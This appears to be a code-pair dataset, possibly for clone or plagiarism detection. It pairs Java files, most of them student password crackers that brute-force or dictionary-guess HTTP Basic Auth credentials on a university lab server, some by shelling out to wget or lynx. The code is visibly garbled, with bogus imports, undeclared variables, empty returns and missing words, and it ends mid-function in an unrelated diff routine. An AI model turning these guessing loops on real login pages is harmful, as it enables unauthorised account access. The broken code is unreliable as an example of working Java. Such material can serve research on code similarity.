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stringlengths 8
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stringlengths 174
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stringlengths 174
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161.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
207.java | 197.java | 0 |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
010.java | 197.java | 0 |
import java.io.*;
import java.*;
import java.util.StringTokenizer;
public class Dictionary
{
public static void main(String args[])
{
final String DICT_FILE = "/usr/share/lib/dict/words";
String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";
String password;
String s = null;
int num_tries = 0;
try
{
BufferedReader dict_word = new BufferedReader
(new FileReader (DICT_FILE));
while((password = dict_word.readLine())!= null)
{
try
{
Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
while ((s = stdInput.readLine()) != null)
{
System.out.println(s);
}
while ((s = stdError.readLine()) != null)
{
System.out.println(s);
}
try
{
p.waitFor();
}
catch (InterruptedException g)
{
}
num_tries++;
if((p.exitValue()) == 0)
{
System.out.println("**********PASSWORD IS: " + password);
System.out.println("**********NUMBER OF TRIES: " + num_tries);
System.exit(1);
}
}
catch (IOException e)
{
System.out.println("exception happened - here's what I know: ");
e.printStackTrace();
System.exit(-1);
}
}
System.out.println("DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD");
System.out.println("**********Sorry, password was not found in dictionary file");
System.exit(1);
}
catch (FileNotFoundException exception)
{
System.out.println(exception);
}
catch (IOException exception)
{
System.out.println(exception);
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
054.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.misc.*;
import java.io.BufferedInputStream;
import java.awt.*;
import java.awt.event.*;
public class WatchDog
{
public static void main (String args[])
{
String url = "http://yallara.cs.rmit.edu./~";
String file1 = "test1.txt";
int flag = 0;
WriteFile write = new WriteFile(url, file1, flag);
new DoSleep().print();
}
}
class DoSleep extends Thread
{
public synchronized void run()
{
String url = "http://yallara.cs.rmit.edu./~";
String file2 = "test2.txt";
int flag = 1;
int status = 0;
String file1 = "test1.txt";
System.out.println("Checking.........");
try
{
sleep();
WriteFile write = new WriteFile(url, file2, flag);
status = write.getStatus();
if(status != 0)
{
int flag2 = 0;
WriteFile write2 = new WriteFile(url, file1, flag2);
}
new DoSleep().print();
}
catch (InterruptedException e) {}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
155.java | 197.java | 0 | import java.io.*;
import java.net.*;
public class Dictionary{
public static void main( String[] args ){
Dictionary dict= new Dictionary();
dict.create();
}
public void dsf(){
String password;
String auth_data;
String username="";
String server_res_code;
String required_server_res_code="200";
int cntr=0;
try{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;
String fileName = "/usr/share/lib/dict/words";
fileName=fileName.trim();
FileReader fr = new FileReader(fileName);
BufferedReader inputfile = new BufferedReader(fr);
while( (password=inputfile.readLine()) != null ){
password = password.trim();
auth_data=null;
auth_data=username + ":" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
conn.setRequestProperty ("Authorization", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
if( server_res_code.compareTo(required_server_res_code)!=0)
System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);
else {
System.out.println(cntr + " . " + "PASSWORD IS: " + password + " SERVER RESPONSE : " + server_res_code);
break;}
}
}
catch( Exception e){
System.err.println(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = "";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return " " + encodedString;
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
134.java | 197.java | 0 |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public static void main(String[] args)
{
Runtime rt = Runtime.getRuntime();
Process pr= null;
char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
String pass;
char temp[] = {'a','a'};
char temp1[] = {'a','a','a'};
char temp2[] = {'a'};
String f= new String();
String resp = new String();
int count=0;
String success = new String();
InputStreamReader instre;
BufferedReader bufread;
for(int k=0;k<52;k++)
{
temp2[0]=chars[k];
pass = new String(temp2);
count++;
System.out.println("The password tried is------->"+pass+"---and attempt is=="+count);
f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
pr = rt.exec(f);
instre = new InputStreamReader(pr.getErrorStream());
bufread = new BufferedReader(instre);
resp = bufread.readLine();
while( (resp = bufread.readLine())!= null)
{
if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
for(int j=0;j<52;j++)
{
for(int k=0;k<52;k++)
{
temp[0]=chars[j];
temp[1]=chars[k];
pass = new String();
count++;
System.out.println("The password tried is------->"+pass+"---and attempt is=="+count);
f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
pr = rt.exec(f);
instre = new InputStreamReader(pr.getErrorStream());
bufread = new BufferedReader(instre);
resp = bufread.readLine();
while( (resp = bufread.readLine())!= null)
{
if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
}
for(int i=0;i<52;i++)
for(int j=0;j<52;j++)
for(int k=0;k<52;k++)
{
temp1[0]=chars[i];
temp1[1]=chars[j];
temp1[2]=chars[k];
pass = new String(temp1);
count++;
System.out.println("The password tried is------->"+pass+"---and attempt is=="+count);
f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
pr = rt.exec(f);
instre = new InputStreamReader(pr.getErrorStream());
bufread = new BufferedReader(instre);
resp = bufread.readLine();
while( (resp = bufread.readLine())!= null)
{
if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
171.java | 197.java | 0 |
import java.io.*;
import java.net.*;
import java.*;
import java.util.*;
public class DictionaryAttack
{
public static void main ( String args[])
{
String function,pass,temp1;
int count =0;
try{
FileReader fr = new FileReader("words.txt");
BufferedReader bfread = new BufferedReader(fr);
Runtime rtime = Runtime.getRuntime();
Process prs = null;
while(( bf = bfread.readLine()) != null)
{
if( f.length() < 4 )
{
System.out.println(+ " The Attack Number =====>" + count++ );
pass = f;
function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/";
prs = rtime.exec(function);
InputStreamReader stre = new InputStreamReader(prs.getErrorStream());
BufferedReader bread = new BufferedReader(stre);
while( (temp1 = bread.readLine())!= null)
{
System.out.println(temp1);
if(temp1.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("The password has is:"+pass);
System.exit(0);
}
}
}
}
fr.print();
bfread.close();
}catch(Exception e){}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
159.java | 197.java | 0 |
class BasicAuth {
public BasicAuth() {}
private static byte[] cvtTable = {
(byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
(byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
(byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
(byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
(byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
(byte)'Z',
(byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
(byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
(byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
(byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
(byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
(byte)'z',
(byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
(byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
(byte)'+', (byte)'/'
};
static String encode(String name,
String passwd) {
byte input[] = (name + ":" + passwd).getBytes();
byte[] output = new byte[((input.length / 3) + 1) * 4];
int ridx = 0;
int chunk = 0;
for (int i = 0; i < input.length; i += 3) {
int left = input.length - i;
if (left > 2) {
chunk = (input[i] << 16)|
(input[i + 1] << 8) |
input[i + 2];
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = cvtTable[(chunk&0x3F)];
} else if (left == 2) {
chunk = (input[i] << 16) |
(input[i + 1] << 8);
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = '=';
} else {
chunk = input[i] << 16;
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = '=';
output[ridx++] = '=';
}
}
return new String(output);
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
127.java | 197.java | 0 |
import java.util.Hashtable;
public class Diff {
public Diff(Object[] a,Object[] b) {
Hashtable h = new Hashtable(a.length + b.length);
filevec[0] = new file_data(a,h);
filevec[1] = new file_data(b,h);
}
private int equiv_max = 1;
public boolean heuristic = false;
public boolean no_discards = false;
private int[] xvec, yvec;
private int[] fdiag;
private int[] bdiag;
private int fdiagoff, bdiagoff;
private final file_data[] filevec = new file_data[2];
private int cost;
private int diag (int xoff, int xlim, int yoff, int ylim) {
final int[] fd = fdiag;
final int[] bd = bdiag;
final int[] xv = xvec;
final int[] yv = yvec;
final int dmin = xoff - ylim;
final int dmax = xlim - yoff;
final int fmid = xoff - yoff;
final int bmid = xlim - ylim;
int fmin = fmid, fmax = fmid;
int bmin = bmid, bmax = bmid;
final boolean odd = (fmid - bmid & 1) != 0;
fd[fdiagoff + fmid] = xoff;
bd[bdiagoff + bmid] = xlim;
for (int c = 1;; ++c)
{
int d;
boolean big_snake = false;
if (fmin > dmin)
fd[fdiagoff + --fmin - 1] = -1;
else
++fmin;
if (fmax < dmax)
fd[fdiagoff + ++fmax + 1] = -1;
else
--fmax;
for (d = fmax; d >= fmin; d -= 2)
{
int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d + 1];
if (tlo >= ylim)
x = tlo + 1;
else
x = ylim;
oldx = x;
y = x - d;
while (x < xlim && y < ylim && xv[x] == yv[y]) {
++x; ++y;
}
if (x - oldx > 20)
big_snake = true;
fd[fdiagoff + d] = x;
if (odd && bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
{
cost = 2 * c - 1;
return d;
}
}
if (bmin > dmin)
bd[bdiagoff + --bmin - 1] = Integer.MAX_VALUE;
else
++bmin;
if (bmax < dmax)
bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;
else
--bmax;
for (d = bmax; d >= bmin; d -= 2)
{
int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff + d + 1];
if (tlo < ylim)
x = tlo;
else
x = - 1;
oldx = x;
y = x - d;
